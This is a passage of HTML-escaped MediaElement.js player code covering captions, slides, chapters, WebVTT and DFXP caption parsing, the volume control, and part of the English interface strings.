				if (typeof t.options.captionTextPreprocessor === &#039;function&#039;) text = t.options.captionTextPreprocessor(text);
				t.captionsText.innerHTML = sanitize(text);
				t.captionsText.className = t.options.classPrefix + &#039;captions-text &#039; + (track.entries[i].identifier || &#039;&#039;);
				t.captions.style.display = &#039;&#039;;
				t.captions.style.height = &#039;0px&#039;;
				return;
			}
			t.captions.style.display = &#039;none&#039;;
		} else {
			t.captions.style.display = &#039;none&#039;;
		}
	},
	setupSlides: function setupSlides(track) {
		var t = this;
		t.slides = track;
		t.slides.entries.imgs = [t.slides.entries.length];
		t.showSlide(0);
	},
	showSlide: function showSlide(index) {
		var _this = this;

		var t = this;

		if (t.tracks === undefined || t.slidesContainer === undefined) {
			return;
		}

		var url = t.slides.entries[index].text;

		var img = t.slides.entries[index].imgs;

		if (img === undefined || img.fadeIn === undefined) {
			var image = _document2.default.createElement(&#039;img&#039;);
			image.src = url;
			image.addEventListener(&#039;load&#039;, function () {
				var self = _this,
				    visible = (0, _dom.siblings)(self, function (el) {
					return visible(el);
				});
				self.style.display = &#039;none&#039;;
				t.slidesContainer.innerHTML += self.innerHTML;
				(0, _dom.fadeIn)(t.slidesContainer.querySelector(image));
				for (var i = 0, total = visible.length; i &lt; total; i++) {
					(0, _dom.fadeOut)(visible[i], 400);
				}
			});
			t.slides.entries[index].imgs = img = image;
		} else if (!(0, _dom.visible)(img)) {
			var _visible = (0, _dom.siblings)(self, function (el) {
				return _visible(el);
			});
			(0, _dom.fadeIn)(t.slidesContainer.querySelector(img));
			for (var i = 0, total = _visible.length; i &lt; total; i++) {
				(0, _dom.fadeOut)(_visible[i]);
			}
		}
	},
	displaySlides: function displaySlides() {
		var t = this;

		if (this.slides === undefined) {
			return;
		}

		var slides = t.slides,
		    i = t.searchTrackPosition(slides.entries, t.media.currentTime);

		if (i &gt; -1) {
			t.showSlide(i);
		}
	},
	drawChapters: function drawChapters(chapters) {
		var t = this,
		    total = chapters.entries.length;

		if (!total) {
			return;
		}

		t.chaptersButton.querySelector(&#039;ul&#039;).innerHTML = &#039;&#039;;

		for (var i = 0; i &lt; total; i++) {
			t.chaptersButton.querySelector(&#039;ul&#039;).innerHTML += &#039;&lt;li class=&quot;&#039; + t.options.classPrefix + &#039;chapters-selector-list-item&quot; &#039; + &#039;role=&quot;menuitemcheckbox&quot; aria-live=&quot;polite&quot; aria-disabled=&quot;false&quot; aria-checked=&quot;false&quot;&gt;&#039; + (&#039;&lt;input type=&quot;radio&quot; class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-input&quot; &#039;) + (&#039;name=&quot;&#039; + t.id + &#039;_chapters&quot; id=&quot;&#039; + t.id + &#039;_chapters_&#039; + i + &#039;&quot; value=&quot;&#039; + chapters.entries[i].start + &#039;&quot; disabled&gt;&#039;) + (&#039;&lt;label class=&quot;&#039; + t.options.classPrefix + &#039;chapters-selector-label&quot;&#039;) + (&#039;for=&quot;&#039; + t.id + &#039;_chapters_&#039; + i + &#039;&quot;&gt;&#039; + chapters.entries[i].text + &#039;&lt;/label&gt;&#039;) + &#039;&lt;/li&gt;&#039;;
		}

		var radios = t.chaptersButton.querySelectorAll(&#039;input[type=&quot;radio&quot;]&#039;),
		    labels = t.chaptersButton.querySelectorAll(&#039;.&#039; + t.options.classPrefix + &#039;chapters-selector-label&#039;);

		for (var _i13 = 0, _total10 = radios.length; _i13 &lt; _total10; _i13++) {
			radios[_i13].disabled = false;
			radios[_i13].checked = false;
			radios[_i13].addEventListener(&#039;click&#039;, function (e) {
				var self = this,
				    listItems = t.chaptersButton.querySelectorAll(&#039;li&#039;),
				    label = (0, _dom.siblings)(self, function (el) {
					return (0, _dom.hasClass)(el, t.options.classPrefix + &#039;chapters-selector-label&#039;);
				})[0];

				self.checked = true;
				self.parentNode.setAttribute(&#039;aria-checked&#039;, true);
				(0, _dom.addClass)(label, t.options.classPrefix + &#039;chapters-selected&#039;);
				(0, _dom.removeClass)(t.chaptersButton.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;chapters-selected&#039;), t.options.classPrefix + &#039;chapters-selected&#039;);

				for (var _i14 = 0, _total11 = listItems.length; _i14 &lt; _total11; _i14++) {
					listItems[_i14].setAttribute(&#039;aria-checked&#039;, false);
				}

				var keyboard = e.keyCode || e.which;
				if (typeof keyboard === &#039;undefined&#039;) {
					setTimeout(function () {
						t.getElement(t.container).focus();
					}, 500);
				}

				t.media.setCurrentTime(parseFloat(self.value));
				if (t.media.paused) {
					t.media.play();
				}
			});
		}

		for (var _i15 = 0, _total12 = labels.length; _i15 &lt; _total12; _i15++) {
			labels[_i15].addEventListener(&#039;click&#039;, function (e) {
				var radio = (0, _dom.siblings)(this, function (el) {
					return el.tagName === &#039;INPUT&#039;;
				})[0],
				    event = (0, _general.createEvent)(&#039;click&#039;, radio);
				radio.dispatchEvent(event);
				e.preventDefault();
			});
		}
	},
	searchTrackPosition: function searchTrackPosition(tracks, currentTime) {
		var lo = 0,
		    hi = tracks.length - 1,
		    mid = void 0,
		    start = void 0,
		    stop = void 0;

		while (lo &lt;= hi) {
			mid = lo + hi &gt;&gt; 1;
			start = tracks[mid].start;
			stop = tracks[mid].stop;

			if (currentTime &gt;= start &amp;&amp; currentTime &lt; stop) {
				return mid;
			} else if (start &lt; currentTime) {
				lo = mid + 1;
			} else if (start &gt; currentTime) {
				hi = mid - 1;
			}
		}

		return -1;
	}
});

_mejs2.default.language = {
	codes: {
		af: &#039;mejs.afrikaans&#039;,
		sq: &#039;mejs.albanian&#039;,
		ar: &#039;mejs.arabic&#039;,
		be: &#039;mejs.belarusian&#039;,
		bg: &#039;mejs.bulgarian&#039;,
		ca: &#039;mejs.catalan&#039;,
		zh: &#039;mejs.chinese&#039;,
		&#039;zh-cn&#039;: &#039;mejs.chinese-simplified&#039;,
		&#039;zh-tw&#039;: &#039;mejs.chines-traditional&#039;,
		hr: &#039;mejs.croatian&#039;,
		cs: &#039;mejs.czech&#039;,
		da: &#039;mejs.danish&#039;,
		nl: &#039;mejs.dutch&#039;,
		en: &#039;mejs.english&#039;,
		et: &#039;mejs.estonian&#039;,
		fl: &#039;mejs.filipino&#039;,
		fi: &#039;mejs.finnish&#039;,
		fr: &#039;mejs.french&#039;,
		gl: &#039;mejs.galician&#039;,
		de: &#039;mejs.german&#039;,
		el: &#039;mejs.greek&#039;,
		ht: &#039;mejs.haitian-creole&#039;,
		iw: &#039;mejs.hebrew&#039;,
		hi: &#039;mejs.hindi&#039;,
		hu: &#039;mejs.hungarian&#039;,
		is: &#039;mejs.icelandic&#039;,
		id: &#039;mejs.indonesian&#039;,
		ga: &#039;mejs.irish&#039;,
		it: &#039;mejs.italian&#039;,
		ja: &#039;mejs.japanese&#039;,
		ko: &#039;mejs.korean&#039;,
		lv: &#039;mejs.latvian&#039;,
		lt: &#039;mejs.lithuanian&#039;,
		mk: &#039;mejs.macedonian&#039;,
		ms: &#039;mejs.malay&#039;,
		mt: &#039;mejs.maltese&#039;,
		no: &#039;mejs.norwegian&#039;,
		fa: &#039;mejs.persian&#039;,
		pl: &#039;mejs.polish&#039;,
		pt: &#039;mejs.portuguese&#039;,
		ro: &#039;mejs.romanian&#039;,
		ru: &#039;mejs.russian&#039;,
		sr: &#039;mejs.serbian&#039;,
		sk: &#039;mejs.slovak&#039;,
		sl: &#039;mejs.slovenian&#039;,
		es: &#039;mejs.spanish&#039;,
		sw: &#039;mejs.swahili&#039;,
		sv: &#039;mejs.swedish&#039;,
		tl: &#039;mejs.tagalog&#039;,
		th: &#039;mejs.thai&#039;,
		tr: &#039;mejs.turkish&#039;,
		uk: &#039;mejs.ukrainian&#039;,
		vi: &#039;mejs.vietnamese&#039;,
		cy: &#039;mejs.welsh&#039;,
		yi: &#039;mejs.yiddish&#039;
	}
};

_mejs2.default.TrackFormatParser = {
	webvtt: {
		pattern: /^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\&gt; ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/,

		parse: function parse(trackText) {
			var lines = trackText.split(/\r?\n/),
			    entries = [];

			var timecode = void 0,
			    text = void 0,
			    identifier = void 0;

			for (var i = 0, total = lines.length; i &lt; total; i++) {
				timecode = this.pattern.exec(lines[i]);

				if (timecode &amp;&amp; i &lt; lines.length) {
					if (i - 1 &gt;= 0 &amp;&amp; lines[i - 1] !== &#039;&#039;) {
						identifier = lines[i - 1];
					}
					i++;

					text = lines[i];
					i++;
					while (lines[i] !== &#039;&#039; &amp;&amp; i &lt; lines.length) {
						text = text + &#039;\n&#039; + lines[i];
						i++;
					}
					text = text === null ? &#039;&#039; : text.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&amp;@#\/%?=~_|!:,.;]*[-A-Z0-9+&amp;@#\/%=~_|])/ig, &quot;&lt;a href=&#039;$1&#039; target=&#039;_blank&#039;&gt;$1&lt;/a&gt;&quot;);
					entries.push({
						identifier: identifier,
						start: (0, _time.convertSMPTEtoSeconds)(timecode[1]) === 0 ? 0.200 : (0, _time.convertSMPTEtoSeconds)(timecode[1]),
						stop: (0, _time.convertSMPTEtoSeconds)(timecode[3]),
						text: text,
						settings: timecode[5]
					});
				}
				identifier = &#039;&#039;;
			}
			return entries;
		}
	},

	dfxp: {
		parse: function parse(trackText) {
			var trackElem = _document2.default.adoptNode(new DOMParser().parseFromString(trackText, &#039;application/xml&#039;).documentElement),
			    container = trackElem.querySelector(&#039;div&#039;),
			    lines = container.querySelectorAll(&#039;p&#039;),
			    styleNode = _document2.default.getElementById(container.getAttribute(&#039;style&#039;)),
			    entries = [];

			var styles = void 0;

			if (styleNode) {
				styleNode.removeAttribute(&#039;id&#039;);
				var attributes = styleNode.attributes;
				if (attributes.length) {
					styles = {};
					for (var i = 0, total = attributes.length; i &lt; total; i++) {
						styles[attributes[i].name.split(&quot;:&quot;)[1]] = attributes[i].value;
					}
				}
			}

			for (var _i16 = 0, _total13 = lines.length; _i16 &lt; _total13; _i16++) {
				var style = void 0,
				    _temp = {
					start: null,
					stop: null,
					style: null,
					text: null
				};

				if (lines[_i16].getAttribute(&#039;begin&#039;)) {
					_temp.start = (0, _time.convertSMPTEtoSeconds)(lines[_i16].getAttribute(&#039;begin&#039;));
				}
				if (!_temp.start &amp;&amp; lines[_i16 - 1].getAttribute(&#039;end&#039;)) {
					_temp.start = (0, _time.convertSMPTEtoSeconds)(lines[_i16 - 1].getAttribute(&#039;end&#039;));
				}
				if (lines[_i16].getAttribute(&#039;end&#039;)) {
					_temp.stop = (0, _time.convertSMPTEtoSeconds)(lines[_i16].getAttribute(&#039;end&#039;));
				}
				if (!_temp.stop &amp;&amp; lines[_i16 + 1].getAttribute(&#039;begin&#039;)) {
					_temp.stop = (0, _time.convertSMPTEtoSeconds)(lines[_i16 + 1].getAttribute(&#039;begin&#039;));
				}

				if (styles) {
					style = &#039;&#039;;
					for (var _style in styles) {
						style += _style + &#039;: &#039; + styles[_style] + &#039;;&#039;;
					}
				}
				if (style) {
					_temp.style = style;
				}
				if (_temp.start === 0) {
					_temp.start = 0.200;
				}
				_temp.text = lines[_i16].innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&amp;@#\/%?=~_| !:, .; ]*[-A-Z0-9+&amp;@#\/%=~_|])/ig, &quot;&lt;a href=&#039;$1&#039; target=&#039;_blank&#039;&gt;$1&lt;/a&gt;&quot;);
				entries.push(_temp);
			}
			return entries;
		}
	}
};

},{&quot;16&quot;:16,&quot;2&quot;:2,&quot;26&quot;:26,&quot;27&quot;:27,&quot;30&quot;:30,&quot;5&quot;:5,&quot;7&quot;:7}],14:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _player = _dereq_(16);

var _player2 = _interopRequireDefault(_player);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _constants = _dereq_(25);

var _general = _dereq_(27);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

Object.assign(_player.config, {
	muteText: null,

	unmuteText: null,

	allyVolumeControlText: null,

	hideVolumeOnTouchDevices: true,

	audioVolume: &#039;horizontal&#039;,

	videoVolume: &#039;vertical&#039;,

	startVolume: 0.8
});

Object.assign(_player2.default.prototype, {
	buildvolume: function buildvolume(player, controls, layers, media) {
		if ((_constants.IS_ANDROID || _constants.IS_IOS) &amp;&amp; this.options.hideVolumeOnTouchDevices) {
			return;
		}

		var t = this,
		    mode = t.isVideo ? t.options.videoVolume : t.options.audioVolume,
		    muteText = (0, _general.isString)(t.options.muteText) ? t.options.muteText : _i18n2.default.t(&#039;mejs.mute&#039;),
		    unmuteText = (0, _general.isString)(t.options.unmuteText) ? t.options.unmuteText : _i18n2.default.t(&#039;mejs.unmute&#039;),
		    volumeControlText = (0, _general.isString)(t.options.allyVolumeControlText) ? t.options.allyVolumeControlText : _i18n2.default.t(&#039;mejs.volume-help-text&#039;),
		    mute = _document2.default.createElement(&#039;div&#039;);

		mute.className = t.options.classPrefix + &#039;button &#039; + t.options.classPrefix + &#039;volume-button &#039; + t.options.classPrefix + &#039;mute&#039;;
		mute.innerHTML = mode === &#039;horizontal&#039; ? &#039;&lt;button type=&quot;button&quot; aria-controls=&quot;&#039; + t.id + &#039;&quot; title=&quot;&#039; + muteText + &#039;&quot; aria-label=&quot;&#039; + muteText + &#039;&quot; tabindex=&quot;0&quot;&gt;&lt;/button&gt;&#039; : &#039;&lt;button type=&quot;button&quot; aria-controls=&quot;&#039; + t.id + &#039;&quot; title=&quot;&#039; + muteText + &#039;&quot; aria-label=&quot;&#039; + muteText + &#039;&quot; tabindex=&quot;0&quot;&gt;&lt;/button&gt;&#039; + (&#039;&lt;a href=&quot;javascript:void(0);&quot; class=&quot;&#039; + t.options.classPrefix + &#039;volume-slider&quot; &#039;) + (&#039;aria-label=&quot;&#039; + _i18n2.default.t(&#039;mejs.volume-slider&#039;) + &#039;&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; role=&quot;slider&quot; &#039;) + &#039;aria-orientation=&quot;vertical&quot;&gt;&#039; + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;offscreen&quot;&gt;&#039; + volumeControlText + &#039;&lt;/span&gt;&#039;) + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;volume-total&quot;&gt;&#039;) + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;volume-current&quot;&gt;&lt;/div&gt;&#039;) + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;volume-handle&quot;&gt;&lt;/div&gt;&#039;) + &#039;&lt;/div&gt;&#039; + &#039;&lt;/a&gt;&#039;;

		t.addControlElement(mute, &#039;volume&#039;);

		t.options.keyActions.push({
			keys: [38],
			action: function action(player) {
				var volumeSlider = player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-slider&#039;);
				if (volumeSlider &amp;&amp; volumeSlider.matches(&#039;:focus&#039;)) {
					volumeSlider.style.display = &#039;block&#039;;
				}
				if (player.isVideo) {
					player.showControls();
					player.startControlsTimer();
				}

				var newVolume = Math.min(player.volume + 0.1, 1);
				player.setVolume(newVolume);
				if (newVolume &gt; 0) {
					player.setMuted(false);
				}
			}
		}, {
			keys: [40],
			action: function action(player) {
				var volumeSlider = player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-slider&#039;);
				if (volumeSlider) {
					volumeSlider.style.display = &#039;block&#039;;
				}

				if (player.isVideo) {
					player.showControls();
					player.startControlsTimer();
				}

				var newVolume = Math.max(player.volume - 0.1, 0);
				player.setVolume(newVolume);

				if (newVolume &lt;= 0.1) {
					player.setMuted(true);
				}
			}
		}, {
			keys: [77],
			action: function action(player) {
				var volumeSlider = player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-slider&#039;);
				if (volumeSlider) {
					volumeSlider.style.display = &#039;block&#039;;
				}

				if (player.isVideo) {
					player.showControls();
					player.startControlsTimer();
				}
				if (player.media.muted) {
					player.setMuted(false);
				} else {
					player.setMuted(true);
				}
			}
		});

		if (mode === &#039;horizontal&#039;) {
			var anchor = _document2.default.createElement(&#039;a&#039;);
			anchor.className = t.options.classPrefix + &#039;horizontal-volume-slider&#039;;
			anchor.href = &#039;javascript:void(0);&#039;;
			anchor.setAttribute(&#039;aria-label&#039;, _i18n2.default.t(&#039;mejs.volume-slider&#039;));
			anchor.setAttribute(&#039;aria-valuemin&#039;, 0);
			anchor.setAttribute(&#039;aria-valuemax&#039;, 100);
			anchor.setAttribute(&#039;aria-valuenow&#039;, 100);
			anchor.setAttribute(&#039;role&#039;, &#039;slider&#039;);
			anchor.innerHTML += &#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;offscreen&quot;&gt;&#039; + volumeControlText + &#039;&lt;/span&gt;&#039; + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;horizontal-volume-total&quot;&gt;&#039;) + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;horizontal-volume-current&quot;&gt;&lt;/div&gt;&#039;) + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;horizontal-volume-handle&quot;&gt;&lt;/div&gt;&#039;) + &#039;&lt;/div&gt;&#039;;
			mute.parentNode.insertBefore(anchor, mute.nextSibling);
		}

		var mouseIsDown = false,
		    mouseIsOver = false,
		    modified = false,
		    updateVolumeSlider = function updateVolumeSlider() {
			var volume = Math.floor(media.volume * 100);
			volumeSlider.setAttribute(&#039;aria-valuenow&#039;, volume);
			volumeSlider.setAttribute(&#039;aria-valuetext&#039;, volume + &#039;%&#039;);
		};

		var volumeSlider = mode === &#039;vertical&#039; ? t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-slider&#039;) : t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;horizontal-volume-slider&#039;),
		    volumeTotal = mode === &#039;vertical&#039; ? t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-total&#039;) : t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;horizontal-volume-total&#039;),
		    volumeCurrent = mode === &#039;vertical&#039; ? t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-current&#039;) : t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;horizontal-volume-current&#039;),
		    volumeHandle = mode === &#039;vertical&#039; ? t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-handle&#039;) : t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;horizontal-volume-handle&#039;),
		    positionVolumeHandle = function positionVolumeHandle(volume) {

			if (volume === null || isNaN(volume) || volume === undefined) {
				return;
			}

			volume = Math.max(0, volume);
			volume = Math.min(volume, 1);

			if (volume === 0) {
				(0, _dom.removeClass)(mute, t.options.classPrefix + &#039;mute&#039;);
				(0, _dom.addClass)(mute, t.options.classPrefix + &#039;unmute&#039;);
				var button = mute.firstElementChild;
				button.setAttribute(&#039;title&#039;, unmuteText);
				button.setAttribute(&#039;aria-label&#039;, unmuteText);
			} else {
				(0, _dom.removeClass)(mute, t.options.classPrefix + &#039;unmute&#039;);
				(0, _dom.addClass)(mute, t.options.classPrefix + &#039;mute&#039;);
				var _button = mute.firstElementChild;
				_button.setAttribute(&#039;title&#039;, muteText);
				_button.setAttribute(&#039;aria-label&#039;, muteText);
			}

			var volumePercentage = volume * 100 + &#039;%&#039;,
			    volumeStyles = getComputedStyle(volumeHandle);

			if (mode === &#039;vertical&#039;) {
				volumeCurrent.style.bottom = 0;
				volumeCurrent.style.height = volumePercentage;
				volumeHandle.style.bottom = volumePercentage;
				volumeHandle.style.marginBottom = -parseFloat(volumeStyles.height) / 2 + &#039;px&#039;;
			} else {
				volumeCurrent.style.left = 0;
				volumeCurrent.style.width = volumePercentage;
				volumeHandle.style.left = volumePercentage;
				volumeHandle.style.marginLeft = -parseFloat(volumeStyles.width) / 2 + &#039;px&#039;;
			}
		},
		    handleVolumeMove = function handleVolumeMove(e) {
			var totalOffset = (0, _dom.offset)(volumeTotal),
			    volumeStyles = getComputedStyle(volumeTotal);

			modified = true;

			var volume = null;

			if (mode === &#039;vertical&#039;) {
				var railHeight = parseFloat(volumeStyles.height),
				    newY = e.pageY - totalOffset.top;

				volume = (railHeight - newY) / railHeight;

				if (totalOffset.top === 0 || totalOffset.left === 0) {
					return;
				}
			} else {
				var railWidth = parseFloat(volumeStyles.width),
				    newX = e.pageX - totalOffset.left;

				volume = newX / railWidth;
			}

			volume = Math.max(0, volume);
			volume = Math.min(volume, 1);

			positionVolumeHandle(volume);

			t.setMuted(volume === 0);
			t.setVolume(volume);

			e.preventDefault();
			e.stopPropagation();
		},
		    toggleMute = function toggleMute() {
			if (t.muted) {
				positionVolumeHandle(0);
				(0, _dom.removeClass)(mute, t.options.classPrefix + &#039;mute&#039;);
				(0, _dom.addClass)(mute, t.options.classPrefix + &#039;unmute&#039;);
			} else {

				positionVolumeHandle(media.volume);
				(0, _dom.removeClass)(mute, t.options.classPrefix + &#039;unmute&#039;);
				(0, _dom.addClass)(mute, t.options.classPrefix + &#039;mute&#039;);
			}
		};

		player.getElement(player.container).addEventListener(&#039;keydown&#039;, function (e) {
			var hasFocus = !!e.target.closest(&#039;.&#039; + t.options.classPrefix + &#039;container&#039;);
			if (!hasFocus &amp;&amp; mode === &#039;vertical&#039;) {
				volumeSlider.style.display = &#039;none&#039;;
			}
		});

		mute.addEventListener(&#039;mouseenter&#039;, function (e) {
			if (e.target === mute) {
				volumeSlider.style.display = &#039;block&#039;;
				mouseIsOver = true;
				e.preventDefault();
				e.stopPropagation();
			}
		});
		mute.addEventListener(&#039;focusin&#039;, function () {
			volumeSlider.style.display = &#039;block&#039;;
			mouseIsOver = true;
		});

		mute.addEventListener(&#039;focusout&#039;, function (e) {
			if ((!e.relatedTarget || e.relatedTarget &amp;&amp; !e.relatedTarget.matches(&#039;.&#039; + t.options.classPrefix + &#039;volume-slider&#039;)) &amp;&amp; mode === &#039;vertical&#039;) {
				volumeSlider.style.display = &#039;none&#039;;
			}
		});
		mute.addEventListener(&#039;mouseleave&#039;, function () {
			mouseIsOver = false;
			if (!mouseIsDown &amp;&amp; mode === &#039;vertical&#039;) {
				volumeSlider.style.display = &#039;none&#039;;
			}
		});
		mute.addEventListener(&#039;focusout&#039;, function () {
			mouseIsOver = false;
		});
		mute.addEventListener(&#039;keydown&#039;, function (e) {
			if (t.options.enableKeyboard &amp;&amp; t.options.keyActions.length) {
				var keyCode = e.which || e.keyCode || 0,
				    volume = media.volume;

				switch (keyCode) {
					case 38:
						volume = Math.min(volume + 0.1, 1);
						break;
					case 40:
						volume = Math.max(0, volume - 0.1);
						break;
					default:
						return true;
				}

				mouseIsDown = false;
				positionVolumeHandle(volume);
				media.setVolume(volume);

				e.preventDefault();
				e.stopPropagation();
			}
		});
		mute.querySelector(&#039;button&#039;).addEventListener(&#039;click&#039;, function () {
			media.setMuted(!media.muted);
			var event = (0, _general.createEvent)(&#039;volumechange&#039;, media);
			media.dispatchEvent(event);
		});

		volumeSlider.addEventListener(&#039;dragstart&#039;, function () {
			return false;
		});

		volumeSlider.addEventListener(&#039;mouseover&#039;, function () {
			mouseIsOver = true;
		});
		volumeSlider.addEventListener(&#039;focusin&#039;, function () {
			volumeSlider.style.display = &#039;block&#039;;
			mouseIsOver = true;
		});
		volumeSlider.addEventListener(&#039;focusout&#039;, function () {
			mouseIsOver = false;
			if (!mouseIsDown &amp;&amp; mode === &#039;vertical&#039;) {
				volumeSlider.style.display = &#039;none&#039;;
			}
		});
		volumeSlider.addEventListener(&#039;mousedown&#039;, function (e) {
			handleVolumeMove(e);
			t.globalBind(&#039;mousemove.vol&#039;, function (event) {
				var target = event.target;
				if (mouseIsDown &amp;&amp; (target === volumeSlider || target.closest(mode === &#039;vertical&#039; ? &#039;.&#039; + t.options.classPrefix + &#039;volume-slider&#039; : &#039;.&#039; + t.options.classPrefix + &#039;horizontal-volume-slider&#039;))) {
					handleVolumeMove(event);
				}
			});
			t.globalBind(&#039;mouseup.vol&#039;, function () {
				mouseIsDown = false;
				if (!mouseIsOver &amp;&amp; mode === &#039;vertical&#039;) {
					volumeSlider.style.display = &#039;none&#039;;
				}
			});
			mouseIsDown = true;
			e.preventDefault();
			e.stopPropagation();
		});

		media.addEventListener(&#039;volumechange&#039;, function (e) {
			if (!mouseIsDown) {
				toggleMute();
			}
			updateVolumeSlider(e);
		});

		var rendered = false;
		media.addEventListener(&#039;rendererready&#039;, function () {
			if (!modified) {
				setTimeout(function () {
					rendered = true;
					if (player.options.startVolume === 0 || media.originalNode.muted) {
						media.setMuted(true);
					}
					media.setVolume(player.options.startVolume);
					t.setControlsSize();
				}, 250);
			}
		});

		media.addEventListener(&#039;loadedmetadata&#039;, function () {
			setTimeout(function () {
				if (!modified &amp;&amp; !rendered) {
					if (player.options.startVolume === 0 || media.originalNode.muted) {
						media.setMuted(true);
					}
					if (player.options.startVolume === 0) {
						player.options.startVolume = 0;
					}
					media.setVolume(player.options.startVolume);
					t.setControlsSize();
				}
				rendered = false;
			}, 250);
		});

		if (player.options.startVolume === 0 || media.originalNode.muted) {
			media.setMuted(true);
			if (player.options.startVolume === 0) {
				player.options.startVolume = 0;
			}
			toggleMute();
		}

		t.getElement(t.container).addEventListener(&#039;controlsresize&#039;, function () {
			toggleMute();
		});
	}
});

},{&quot;16&quot;:16,&quot;2&quot;:2,&quot;25&quot;:25,&quot;26&quot;:26,&quot;27&quot;:27,&quot;5&quot;:5}],15:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
var EN = exports.EN = {
	&#039;mejs.plural-form&#039;: 1,

	&#039;mejs.download-file&#039;: &#039;Download File&#039;,

	&#039;mejs.install-flash&#039;: &#039;You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/&#039;,

	&#039;mejs.fullscreen&#039;: &#039;Fullscreen&#039;,

	&#039;mejs.play&#039;: &#039;Play&#039;,
	&#039;mejs.pause&#039;: &#039;Pause&#039;,

	&#039;mejs.time-slider&#039;: &#039;Time Slider&#039;,
	&#039;mejs.time-help-text&#039;: &#039;Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.&#039;,
	&#039;mejs.live-broadcast&#039;: &#039;Live Broadcast&#039;,

	&#039;mejs.volume-help-text&#039;: &#039;Use Up/Down Arrow keys to increase or decrease volume.&#039;,
	&#039;mejs.unmute&#039;: &#039;Unmute&#039;,
	&#039;mejs.mute&#039;: &#039;Mute&#039;,
	&#039;mejs.volume-slider&#039;: &#039;Volume Slider&#039;,

	&#039;mejs.video-player&#039;: &#039;Video Player&#039;,
	&#039;mejs.audio-player&#039;: &#039;Audio Player&#039;,

	&#039;mejs.captions-subtitles&#039;: &#039;Captions/Subtitles&#039;,
	&#039;mejs.captions-chapters&#039;: &#039;Chapters&#039;,
	&#039;mejs.none&#039;: &#039;None&#039;,
	&#039;mejs.afrikaans&#039;: &#039;Afrikaans&#039;,
	&#039;mejs.albanian&#039;: &#039;Albanian&#039;,
	&#039;mejs.arabic&#039;: &#039;Arabic&#039;,
	&#039;mejs.belarusian&#039;: &#039;Belarusian&#039;,
	&#039;mejs.bulgarian&#039;: &#039;Bulgarian&#039;,
	&#039;mejs.catalan&#039;: &#039;Catalan&#039;,
	&#039;mejs.chinese&#039;: &#039;Chinese&#039;,
	&#039;mejs.chinese-simplified&#039;: &#039;Chinese (Simplified)&#039;,
	&#039;mejs.chinese-traditional&#039;: &#039;Chinese (Traditional)&#039;,
	&#039;mejs.croatian&#039;: &#039;Croatian&#039;,
	&#039;mejs.czech&#039;: &#039;Czech&#039;,
	&#039;mejs.danish&#039;: &#039;Danish&#039;,
	&#039;mejs.dutch&#039;: &#039;Dutch&#039;,
	&#039;mejs.english&#039;: &#039;English&#039;,
	&#039;mejs.estonian&#039;: &#039;Estonian&#039;,
	&#039;mejs.filipino&#039;: &#039;Filipino&#039;,
	&#039;mejs.finnish&#039;: &#039;Finnish&#039;,
	&#039;mejs.french&#039;: &#039;French&#039;,
	&#039;mejs.galician&#039;: &#039;Galician&#039;,
	&#039;mejs.german&#039;: &#039;German&#039;,
	&#039;mejs.greek&#039;: &#039;Greek&#039;,
	&#039;mejs.haitian-creole&#039;: &#039;Haitian Creole&#039;,
	&#039;mejs.hebrew&#039;: &#039;Hebrew&#039;,
	&#039;mejs.hindi&#039;: &#039;Hindi&#039;,
	&#039;mejs.hungarian&#039;: &#039;Hungarian&#039;,
	&#039;mejs.icelandic&#039;: &#039;Icelandic&#039;,
	&#039;mejs.indonesian&#039;: &#039;Indonesian&#039;,
	&#039;mejs.irish&#039;: &#039;Irish&#039;,
	&#039;mejs.italian&#039;: &#039;Italian&#039;,
	&#039;mejs.japanese&#039;: &#039;Japanese&#039;,
	&#039;mejs.korean&#039;: &#039;Korean&#039;,
	&#039;mejs.latvian&#039;: &#039;Latvian&#039;,
	&#039;mejs.lithuanian&#039;: &#039;Lithuanian&#039;,
	&#039;mejs.macedonian&#039;: &#039;Macedonian&#039;,
	&#039;mejs.malay&#039;: &#039;Malay&#039;,
	&#039;mejs.maltese&#039;: &#039;Maltese&#039;,
	&#039;mejs.norwegian&#039;: &#039;Norwegian&#039;,
	&#039;mejs.persian&#039;: &#039;Persian&#039;,
	&#039;mejs.polish&#039;: &#039;Polish&#039;,
